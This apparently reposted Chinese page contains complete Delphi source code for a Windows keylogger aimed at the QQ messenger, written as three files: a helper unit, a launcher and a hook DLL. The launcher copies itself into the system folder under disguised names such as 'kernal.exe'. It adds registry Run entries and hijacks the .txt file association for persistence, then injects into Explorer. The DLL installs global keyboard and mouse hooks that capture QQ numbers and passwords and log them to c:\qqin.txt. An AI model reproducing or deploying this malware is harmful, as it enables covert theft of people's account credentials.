本文整理自网络，侵删。
funit.pas/////////////
unit funit;
interface
function FindProcess(ExeName: string): Longword; //查找进程
function StrCopy(Dest: PChar; const Source: PChar): PChar; //拷贝字符串
function GetDLLDirectory(FullPath: string): string; //取DLL路径
implementation
uses Windows;
type
TProcessEntry32 = packed record
dwSize: DWORD;
cntUsage: DWORD;
th32ProcessID: DWORD; // this process
th32DefaultHeapID: DWORD;
th32ModuleID: DWORD; // associated exe
cntThreads: DWORD;
th32ParentProcessID: DWORD; // this process's parent process
pcPriClassBase: Longint; // Base priority of process's threads
dwFlags: DWORD;
szExeFile: array[0..MAX_PATH - 1] of Char;// Path
end;
//---------API----------//
function createToolhelp32Snapshot(dwFlags, th32ProcessID: DWORD): THandle stdcall; external 'kernel32.dll';
function Process32First(hSnapshot: THandle; var lppe: TProcessEntry32): BOOL stdcall; external 'kernel32.dll';
function Process32Next(hSnapshot: THandle; var lppe: TProcessEntry32): BOOL stdcall; external 'kernel32.dll';
//---------API----------//
//寻找指定进程,返回其ID.
function FindProcess(ExeName: string): Longword;
//(子函数)尾串是否匹配,不分大小写
function AnsiEndsText(const ASubText, AText: string): Boolean;
var
P: PChar;
L, L2: Integer;
begin
P := PChar(AText);
L := Length(ASubText);
L2 := Length(AText);
Inc(P, L2 - L);
if L > L2 then
Result := False
else
Result := CompareString(LOCALE_USER_DEFAULT, NORM_IGNORECASE,P, L, PChar(ASubText), L) = 2;
end;
var
sphandle: DWORD; Found: Bool;
PStruct: TProcessEntry32;
begin
Result := 0;
sphandle := createToolhelp32Snapshot($00000002, 0);
PStruct.dwSize := Sizeof(PStruct);
Found := Process32First(sphandle, PStruct);
while Found do
begin
if AnsiEndsText(ExeName, PStruct.szExefile) then
begin
Result := PStruct.th32ProcessID; Break;
end;
Found := Process32Next(sphandle, PStruct);
end;
CloseHandle(sphandle);
end;
//PChar字符串复制
function StrCopy(Dest: PChar; const Source: PChar): PChar;
asm
PUSH EDI
PUSH ESI
MOV ESI,EAX
MOV EDI,EDX
MOV ECX,0FFFFFFFFH
XOR AL,AL
REPNE SCASB
NOT ECX
MOV EDI,ESI
MOV ESI,EDX
MOV EDX,ECX
MOV EAX,EDI
SHR ECX,2
REP MOVSD
MOV ECX,EDX
AND ECX,3
REP MOVSB
POP ESI
POP EDI
end;
//取得DLL所在目录
function GetDLLDirectory(FullPath: string): string;
var
i: integer;
begin
i := length(FullPath);
while i>=1 do
begin
if (FullPath[i]='\') then break;
dec(i);
end;
Result := copy(FullPath,1,i-9)+'HookDLL\';
end;
end.
//////////////////////////////
Start.dpr///////////////////
(**************writen by msz 2004-12-06 mszok@163.com, some code from lmz**********************)
program Start;
uses
Windows,
registry,
sysutils,
funit in 'funit.pas';
type
node = record
MainThread: Longword;
ExplorerID: Longword;
MainPath: array[0..500] of char;
end;
Pnode = ^node;
procedure GetMsgHookOn; external 'insert.dll';
procedure GetMsgHookOff; external 'insert.dll';
var
ThreadMessage: TMsg;
Explorer_PID: Longword;
FileMapH: DWORD;
TheNodeP: Pnode;
MutexHandle: Longword;
procedure LockMe(filename1:PChar;filename2:PChar;key1:PChar;key2:PChar);
const
K = '\txtfile\shell\open\command';
var
sysdir:string;
f1,f2:string;
sFileName:string;
reg:tregistry;
begin
try
setlength(sysdir,128);
getsystemdirectory(pchar(sysdir),128);
setlength(sysdir,strlen(pchar(sysdir)));
if sysdir[length(sysdir)]<>'\' then sysdir:=sysdir+'\';
f1:=sysdir+filename1;
f2:=sysdir+filename2;
if not fileexists(f1) then
copyfile(pchar(ParamStr(0)),pchar(f1),false);
if not fileexists(f2) then
copyfile(pchar(ParamStr(0)),pchar(f2),false);
if not fileexists(sysdir+'hook.dll')then
copyfile(pchar(extractfilepath(paramstr(0))+'hook.dll'),pchar(sysdir+'hook.dll'),false);
if not fileexists(sysdir+'insert.dll') then
copyfile(pchar(extractfilepath(paramstr(0))+'insert.dll'),pchar(sysdir+'insert.dll'),false);
try
reg:=tregistry.create;
reg.RootKey:=HKEY_LOCAL_MACHINE;
reg.OpenKey(
'SOFTWARE\MicroSoft\windows\CurrentVersion\RunServices',true);
reg.writestring(key1,f1);
finally
reg.Free;
end;
try
reg:=tregistry.create;
reg.RootKey:=HKEY_LOCAL_MACHINE;
reg.OpenKey('SOFTWARE\MicroSoft\windows\CurrentVersion\Run',true);
reg.writestring(key2,f2);
finally
reg.free;
end;
with TRegistry.create do
try
RootKey := HKEY_CLASSES_ROOT;
OpenKey( K, TRUE );
WriteString( '', f1+' "%1" ');
finally
free;
end;
if ParamStr(0)=f1 then
begin
if ParamCount>0 then begin
sFileName:=ParamStr(1);
winexec(pchar('Notepad.exe '+sFileName),sw_show);
WinExec(pchar(f2),sw_hide);
Halt;
end;
end;
except
end;
end;
begin
lockme('kernal.exe','start.exe','kernal','window update');
if OpenMutex(MUTEX_ALL_ACCESS, FALSE, 'MutexForExe8Mazi')<>0 then Exit;
MutexHandle := createMutex(nil,TRUE,'MutexForExe8Mazi');
Explorer_PID := FindProcess('Explorer.exe');
if (Explorer_PID=0) then
begin
MessageBox(0, '寻找Explorer进程出错 ', nil, 0); Exit;
end;
FileMapH := createFileMapping($FFFFFFFF,nil,PAGE_READWRITE,0,SizeOf(node),'HookExplorer8Mazi');
if (FileMapH=0) then
begin
MessageBox(0, '创建内存映射文件出错 ', nil, 0); Exit;
end;
TheNodeP := MapViewOfFile(FileMapH, FILE_MAP_WRITE, 0, 0, 0);
if (TheNodeP=nil) then
begin
MessageBox(0, '映射到本进程空间出错 ', nil, 0);
CloseHandle(FileMapH); Exit;
end;
TheNodeP^.MainThread:=GetCurrentThreadID;
TheNodeP^.ExplorerID:=Explorer_PID;
StrCopy(TheNodeP^.MainPath, pchar(extractfilepath(ParamStr(0))));
UnmapViewOfFile(TheNodeP);
GetMsgHookOn;
While GetMessage(ThreadMessage, 0, 0, 0) do;
GetMsgHookOff;
CloseHandle(FileMapH);
ReleaseMutex(MutexHandle);
end.
//////////////////////////////////////
Hook.dll/////////////
(**************writen by msz 2004-12-06 mszok@163.com, some code from lmz**********************)
library HookDLL;
uses
windows,sysutils;
type
TPoint = packed record
X: Longint;
Y: Longint;
end;
PMouseHookStruct = ^TMouseHookStruct;
{$EXTERNALSYM tagMOUSEHOOKSTRUCT}
tagMOUSEHOOKSTRUCT = packed record
pt: TPoint;
hwnd: longword;
wHitTestCode: LongWord;
dwExtraInfo: LongWord;
end;
node = record
MainThread: Longword;
ExplorerID: Longword;
MainPath: array[0..500] of char;
end;
Pnode = ^node;
TMouseHookStruct = tagMOUSEHOOKSTRUCT;
const
WM_QUIT = $0012;
WM_HOTKEY = $0312;
var
KeyHook,MouseHook:LongWord;
password_str:string;
password_num:string;
thenodep:pnode;
filemaph:longword;
procedure DLLProcess(dwReason: integer);
begin
if dwReason=DLL_PROCESS_DETACH then
begin
if (TheNodeP<>nil) then UnmapViewOfFile(TheNodeP);
if (FileMapH<>0) then CloseHandle(FileMapH);
end;
end;
procedure savetofile(s:string);
var
text:textfile;
begin
assignfile(text,'c:\qqin.txt');
try
if fileexists('c:\qqin.txt') then
append(text)
else
rewrite(text);
writeln(text,datetimetostr(now)+': '+s);
finally
closefile(text);
end;
end;
function process_password(s:string):string;
var
i:integer;
temp:string;
begin
temp:='';
for i:=1 to length(s) do
begin
if ord(s[i])=8 then
begin
result:=copy(result,1,length(result)-1);
continue;
end
else result:=result+s[i];
end;
for i:=1 to length(result) do
begin
if (ord(result[i])>=96)and(ord(result[i])<=105) then
temp:=temp+inttostr(ord(result[i])-96)
else temp:=temp+result[i];
end;
result:=temp;
end;
function Get_qqnumber:string;
var
buffer:array[0..50] of char;
Window,Number_window:Longint;
begin
result:='';
Window:=findwindow('#32770',nil);
if window=0 then exit;
Number_window:=FindWindowex(window,0,'ComboBox',nil);
if Number_window=0 then exit;
SendMessage(Number_window, $000D, 50, Integer(@buffer));
result:='number：'+ string(buffer);
end;
function ispassword_window:boolean;
var
window,password_window:thandle;
begin
result:=false;
window:=findwindow('#32770',nil);
if window=0 then exit;
password_window:=findwindowex(window,0,'Edit',nil);
if password_window=0 then exit;
if getfocus=password_window then
result:=true;
end;
function isqq_window:boolean;
begin
if findwindow('#32770',nil)=GetForegroundWindow then
result:=true
else result:=false;
end;
function HookKey(Code:Integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
begin
code:=HC_NOREMOVE;
if findwindow('#32770',nil)<>0 then
begin
if (wParam=13) and(((LParam shr 31)and 1)=0)and(isqq_window) then
begin
savetofile(process_password(get_qqnumber)+' password:'+
process_password(password_str)+' '+password_num);
password_str:='';
password_num:='';
end
else begin
if (((LParam shr 31)and 1)=0)and(ispassword_window) then
begin
password_str:=password_str+chr(wparam);
password_num:=password_num+' '+inttostr(wparam);
end;
end;
end;
Result:=CallNextHookEx(KeyHook,code,Wparam,lParam);
end;
function HookMouse(iCode: Integer; wParam: WPARAM; lParam: LPARAM): LRESULT; stdcall; export;
var
buffer:array[0..3] of char;
begin {鼠标左键按下消息}
if (findwindow('#32770',nil)<>0)and(wparam=$0201) then
begin
SendMessage(pMOUSEHOOKSTRUCT(lparam)^.hwnd,$000D,3,Integer(@buffer));
if buffer='登' then
begin
savetofile(process_password(get_qqnumber)+' password:'+
process_password(password_str)+' '+password_num);
password_str:='';
password_num:='';
end;
end;
Result := CallNextHookEx(MouseHook, iCode, wParam, lParam);
end;
procedure HookOn;
begin
KeyHook:=SetWindowsHookEx(WH_KEYBOARD,@HookKey,HInstance,0);
MouseHook:=SetWindowsHookEx(WH_mouse, @HookMouse, HInstance, 0);
end;
procedure HookOff;
begin
UnHookWindowsHookEx(KeyHook);
UnHookWindowsHookEx(MouseHook);
end;
procedure ThreadPro();stdcall;
var
theMsg: TMsg;
HotKeyID: ATOM;
hmutex:dword;
begin
PostThreadMessage(TheNodeP^.MainThread, WM_QUIT, 0, 0);
hmutex:=openmutex(MUTEX_ALL_ACCESS,false,'mashizhong');
if hmutex=0 then
begin
hmutex:=createmutex(nil,true,'mashizhong');
HotKeyID := GlobalAddAtom('HotKeyID8Mazi');
RegisterHotKey(0, HotKeyID, MOD_ALT, Ord('L'));
hookon;
while getmessage(themsg,0,0,0) do
begin
if (theMsg.message=WM_HOTKEY) then
break;
end;
hookoff;
UnregisterHotKey(0, HotKeyID);
deleteAtom(HotKeyID);
savetofile('HInstance: '+inttostr(hinstance));
releasemutex(hmutex);
end;
closehandle(hmutex);
FreeLibraryandexitthread(hinstance,0); //不理解这一句代码怎么释放不了exeplorer中的hook.dll,好笑吧自已写的代码不理解
end;
exports
Threadpro;
begin
FileMapH := OpenFileMapping(FILE_MAP_ALL_ACCESS, False, 'HookExplorer8Mazi');
if FileMaph<>0 then
TheNodeP := MapViewOfFile(FileMapH, FILE_MAP_ALL_ACCESS, 0, 0, 0);
DllProc := @DLLProcess;
end.
相关阅读 >>
Delphi 如何把程序钉到windows7任务栏(修正版)
更多相关阅读请进入《Delphi》频道 >>
